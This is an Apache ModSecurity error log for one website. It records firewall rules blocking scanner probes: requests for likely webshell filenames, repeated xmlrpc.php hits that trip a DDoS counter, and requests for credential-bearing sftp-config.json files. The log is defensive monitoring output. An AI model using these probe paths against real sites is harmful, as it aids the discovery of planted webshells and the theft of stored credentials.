[Sat Jan 03 22:41:06.323211 2026] [:error] [pid 1931:tid 2045] [client 4.197.161.255:7112] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aVkqgh8Tyw7ZoIdXlcYXkQAAAJU"]
[Sat Jan 03 22:41:07.048488 2026] [:error] [pid 1931:tid 1994] [client 4.197.161.255:6995] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aVkqgx8Tyw7ZoIdXlcYXkwAAAIE"]
[Sat Jan 03 22:41:07.538233 2026] [:error] [pid 1931:tid 2038] [client 4.197.161.255:19946] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aVkqgx8Tyw7ZoIdXlcYXlAAAAI4"]
[Sat Jan 03 22:41:08.017111 2026] [:error] [pid 1931:tid 2040] [client 4.197.161.255:19927] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aVkqhB8Tyw7ZoIdXlcYXlQAAAJA"]
[Sat Jan 03 22:41:10.167315 2026] [:error] [pid 1929:tid 1945] [client 4.197.161.255:19860] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aVkqhucFqdpu6TNsuWr_lgAAAAc"]
[Sat Jan 03 22:41:10.554322 2026] [:error] [pid 2083:tid 2099] [client 4.197.161.255:6984] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aVkqhjVlR_BmlMPnhV4oCgAAAM4"]
[Sat Jan 03 22:41:10.659431 2026] [:error] [pid 2083:tid 2105] [client 4.197.161.255:19861] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aVkqhjVlR_BmlMPnhV4oCwAAANQ"]
[Sat Jan 03 22:41:10.790979 2026] [:error] [pid 2083:tid 2103] [client 4.197.161.255:19960] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aVkqhjVlR_BmlMPnhV4oDAAAANI"]
[Sat Jan 03 22:41:11.034654 2026] [:error] [pid 34260:tid 34275] [client 4.197.161.255:19940] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aVkqh0WWhyvZ0O9KNVQzoAAAAQ0"]
[Sat Jan 03 22:41:11.316989 2026] [:error] [pid 19639:tid 19642] [client 4.197.161.255:7108] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aVkqhyQ7fWZUytnlHEwLPAAAAUE"]
[Sat Jan 03 22:41:11.570499 2026] [:error] [pid 2083:tid 2089] [client 4.197.161.255:7149] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aVkqhzVlR_BmlMPnhV4oDQAAAMQ"]
[Sat Jan 03 22:41:11.995187 2026] [:error] [pid 1931:tid 2037] [client 4.197.161.255:6986] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aVkqhx8Tyw7ZoIdXlcYXmQAAAI0"]
[Sat Jan 03 22:41:12.825389 2026] [:error] [pid 19639:tid 19643] [client 4.197.161.255:7155] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aVkqiCQ7fWZUytnlHEwLPQAAAUI"]
[Sat Jan 03 22:41:13.482411 2026] [:error] [pid 1929:tid 1951] [client 4.197.161.255:7034] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aVkqiecFqdpu6TNsuWr_lwAAAA0"]
[Sat Jan 03 22:41:14.170919 2026] [:error] [pid 2083:tid 2101] [client 4.197.161.255:19869] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aVkqijVlR_BmlMPnhV4oDgAAANA"]
[Sat Jan 03 22:41:15.733658 2026] [:error] [pid 1931:tid 2033] [client 4.197.161.255:19943] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aVkqix8Tyw7ZoIdXlcYXnAAAAIk"]
[Sat Jan 03 22:41:16.995150 2026] [:error] [pid 1931:tid 2036] [client 4.197.161.255:19862] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aVkqjB8Tyw7ZoIdXlcYXngAAAIw"]
[Sat Jan 03 22:41:17.954855 2026] [:error] [pid 31630:tid 31650] [client 4.197.161.255:7063] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/claa.php"] [unique_id "aVkqjfUV_PU2SWgLPuhvagAAAZI"]
[Sat Jan 03 22:59:44.450900 2026] [:error] [pid 19639:tid 19662] [client 104.215.23.56:35735] [client 104.215.23.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVku4CQ7fWZUytnlHEwO3gAAAVU"]
[Sat Jan 03 22:59:45.460499 2026] [:error] [pid 31222:tid 31227] [client 104.215.23.56:27465] [client 104.215.23.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVku4aHw6nASHXAc2v_7CgAAAcM"]
[Sat Jan 03 22:59:47.281037 2026] [:error] [pid 34260:tid 34264] [client 104.215.23.56:36525] [client 104.215.23.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVku40WWhyvZ0O9KNVQ3KQAAAQI"]
[Sat Jan 03 22:59:49.174821 2026] [:error] [pid 1929:tid 1957] [client 104.215.23.56:28981] [client 104.215.23.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVku5ecFqdpu6TNsuWoDxwAAABM"]
[Sat Jan 03 23:00:16.655389 2026] [:error] [pid 1931:tid 2043] [client 185.115.179.229:12256] [client 185.115.179.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.115.179.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVkvAB8Tyw7ZoIdXlcYdNwAAAJM"]
[Sat Jan 03 23:01:11.789616 2026] [:error] [pid 31222:tid 31241] [client 143.110.190.80:53346] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.110.190.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVkvN6Hw6nASHXAc2v_7UAAAAdE"]
[Sat Jan 03 23:39:26.354909 2026] [:error] [pid 2083:tid 2094] [client 112.74.100.106:45972] [client 112.74.100.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.74.100.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4LjVlR_BmlMPnhV42MQAAAMk"]
[Sat Jan 03 23:39:59.816640 2026] [:error] [pid 19639:tid 19649] [client 112.74.100.106:47710] [client 112.74.100.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.74.100.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4TSQ7fWZUytnlHEwYmAAAAUg"]
[Sat Jan 03 23:40:04.978593 2026] [:error] [pid 2083:tid 2087] [client 47.92.132.67:41410] [client 47.92.132.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.132.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4VDVlR_BmlMPnhV42ogAAAMI"]
[Sat Jan 03 23:40:07.297419 2026] [:error] [pid 1931:tid 2041] [client 112.74.100.106:47998] [client 112.74.100.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.74.100.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4Vx8Tyw7ZoIdXlcYudAAAAJE"]
[Sat Jan 03 23:40:09.933806 2026] [:error] [pid 34260:tid 34270] [client 47.92.132.67:52132] [client 47.92.132.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.132.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4WUWWhyvZ0O9KNVRDTAAAAQg"]
[Sat Jan 03 23:40:14.214235 2026] [:error] [pid 31222:tid 31239] [client 47.92.132.67:52148] [client 47.92.132.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.132.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4XqHw6nASHXAc2v8HGAAAAc8"]
[Sat Jan 03 23:40:16.584992 2026] [:error] [pid 1930:tid 1979] [client 47.92.132.67:52160] [client 47.92.132.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.132.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4YJP-6mqhfUDa89wAYAAAAE0"]
[Sat Jan 03 23:40:26.786504 2026] [:error] [pid 31222:tid 31242] [client 47.92.132.67:54392] [client 47.92.132.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.132.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4aqHw6nASHXAc2v8HNQAAAdI"]
[Sat Jan 03 23:40:31.641384 2026] [:error] [pid 2083:tid 2095] [client 47.92.132.67:46608] [client 47.92.132.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.132.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4bzVlR_BmlMPnhV427AAAAMo"]
[Sat Jan 03 23:40:31.641557 2026] [:error] [pid 2083:tid 2095] [client 47.92.132.67:46608] [client 47.92.132.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 47.92.132.67, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4bzVlR_BmlMPnhV427AAAAMo"]
[Sat Jan 03 23:40:34.960533 2026] [:error] [pid 31222:tid 31233] [client 112.74.100.106:49116] [client 112.74.100.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.74.100.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4cqHw6nASHXAc2v8HQwAAAck"]
[Sat Jan 03 23:41:27.471957 2026] [:error] [pid 1931:tid 2027] [client 103.2.225.70:52808] [client 103.2.225.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.2.225.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4px8Tyw7ZoIdXlcYvIQAAAIQ"]
[Sat Jan 03 23:41:29.747428 2026] [:error] [pid 1929:tid 1957] [client 103.2.225.70:52824] [client 103.2.225.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.2.225.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4qecFqdpu6TNsuWoSKgAAABM"]
[Sat Jan 03 23:41:31.653644 2026] [:error] [pid 19639:tid 19653] [client 103.2.225.70:52834] [client 103.2.225.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.2.225.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4qyQ7fWZUytnlHEwZBwAAAUw"]
[Sat Jan 03 23:41:33.604531 2026] [:error] [pid 1929:tid 1962] [client 103.2.225.70:38290] [client 103.2.225.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.2.225.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4recFqdpu6TNsuWoSNAAAABg"]
[Sat Jan 03 23:41:35.523055 2026] [:error] [pid 2083:tid 2097] [client 103.2.225.70:38302] [client 103.2.225.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.2.225.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4rzVlR_BmlMPnhV43OQAAAMw"]
[Sat Jan 03 23:41:48.962037 2026] [:error] [pid 1931:tid 2034] [client 190.187.226.4:43017] [client 190.187.226.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.187.226.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4vB8Tyw7ZoIdXlcYvXAAAAIo"]
[Sat Jan 03 23:41:51.721619 2026] [:error] [pid 1929:tid 1941] [client 190.187.226.4:50528] [client 190.187.226.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.187.226.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4v-cFqdpu6TNsuWoSTQAAAAM"]
[Sat Jan 03 23:41:54.381866 2026] [:error] [pid 2083:tid 2105] [client 190.187.226.4:4851] [client 190.187.226.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.187.226.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4wjVlR_BmlMPnhV43SwAAANQ"]
[Sat Jan 03 23:41:57.130186 2026] [:error] [pid 1929:tid 1951] [client 190.187.226.4:13010] [client 190.187.226.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.187.226.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4xecFqdpu6TNsuWoSWQAAAA0"]
[Sat Jan 03 23:41:59.847254 2026] [:error] [pid 2083:tid 2100] [client 190.187.226.4:15656] [client 190.187.226.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.187.226.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4xzVlR_BmlMPnhV43YgAAAM8"]
[Sat Jan 03 23:42:02.588638 2026] [:error] [pid 2083:tid 2093] [client 190.187.226.4:24215] [client 190.187.226.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.187.226.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4yjVlR_BmlMPnhV43fQAAAMg"]
[Sat Jan 03 23:42:02.588818 2026] [:error] [pid 2083:tid 2093] [client 190.187.226.4:24215] [client 190.187.226.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 190.187.226.4, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVk4yjVlR_BmlMPnhV43fQAAAMg"]
[Sun Jan 04 01:38:11.226128 2026] [:error] [pid 49319:tid 49336] [client 152.228.135.83:33202] [client 152.228.135.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.228.135.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVlUA7cNXYLFZOiX4cQ9bwAAAM8"]
[Sun Jan 04 02:18:32.444463 2026] [:error] [pid 11559:tid 11580] [client 103.77.106.81:63553] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aVldeKYDjvbj8bSHy5rTpgAAARI"]
[Sun Jan 04 03:11:34.983090 2026] [:error] [pid 49228:tid 49238] [client 223.233.71.96:7257] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVlp5nCPk2c4rRZq2JQiGAAAAAU"]
[Sun Jan 04 03:21:22.275043 2026] [:error] [pid 29908:tid 30039] [client 223.233.71.96:8090] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVlsMtjgmD4ihK0ozBIDVwAAAIg"]
[Sun Jan 04 03:31:15.736360 2026] [:error] [pid 6681:tid 6725] [client 223.233.71.96:11264] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVlugzzYCMqNFfuC0bipmgAAAE4"]
[Sun Jan 04 03:40:30.630538 2026] [:error] [pid 37636:tid 37663] [client 223.233.71.96:23372] [client 223.233.71.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.71.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVlwri3kmZpEf9yy2b0OyQAAANc"]
[Sun Jan 04 04:37:12.318470 2026] [:error] [pid 37538:tid 37606] [client 46.62.194.3:44116] [client 46.62.194.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.194.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVl9-IzU2j98LiSLQvQ32AAAAIY"]
[Sun Jan 04 05:22:10.200483 2026] [:error] [pid 37537:tid 37592] [client 103.77.107.178:53062] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aVmIggjHz7EQ5p_4u2pepQAAAFM"]
[Sun Jan 04 05:22:10.758905 2026] [:error] [pid 37537:tid 37588] [client 103.77.107.178:53117] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aVmIggjHz7EQ5p_4u2pepgAAAE8"]
[Sun Jan 04 05:35:10.937567 2026] [:error] [pid 37636:tid 37643] [client 107.180.241.110:37688] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVmLji3kmZpEf9yy2b1DTAAAAMM"]
